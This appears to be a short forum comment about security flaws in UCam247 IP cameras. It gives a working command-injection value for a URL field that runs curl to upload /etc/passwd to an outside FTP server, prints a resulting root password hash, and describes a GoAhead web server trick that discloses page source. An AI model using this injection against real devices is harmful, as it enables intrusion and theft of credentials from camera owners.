The UCam247 cameras are vulnerable to a similar attack, you can use a closing quote in the "HTTP Alarm/Periodic Sending" URL field and since this isn't escaped

The UCam247 cameras are vulnerable to a similar attack, you can use a closing quote in the "HTTP Alarm/Periodic Sending" URL field and since this isn't escaped (and is run at the shell), you can use a URL like this: http://127.0.0.1" |sh -c "curl -u user:pass --upload-file /etc/passwd ftp://myserver.com//tmp/ 2>&1 Which gets you this: /etc/passwd – root:$1$rnjbbPTD$tR9oAIWgUp/jRrhjDuUwp0:0:0:root:/root:/bin/sh I haven't been able to crack the password though yet so I'm guessing it's somewhat secure. The good news is that you can only enable telnet via the config file backup/restore system (and it's disabled by default): [telnetd] ENABLE=disable PORT=60628 The other neat thing about the UCam247 cameras is that they also run the GoAhead Embedded Web Server (which has some fun vulnerabilities, http://www.cvedetails.com/vulnerability-list/vendor_id-1641/product_id-2833/Goahead-Goahead-Webserver.html http://www.cvedetails.com/vulnerability-list/vendor_id-1641/...). My favourite thing to do with this webserver is to append a backslash to the end of a URL, e.g. http://192.168.1.2/en/main.asp%5C http://192.168.1.2/en/main.asp%5C - the webserver will simply return back the source code for the page instead of interpreting it.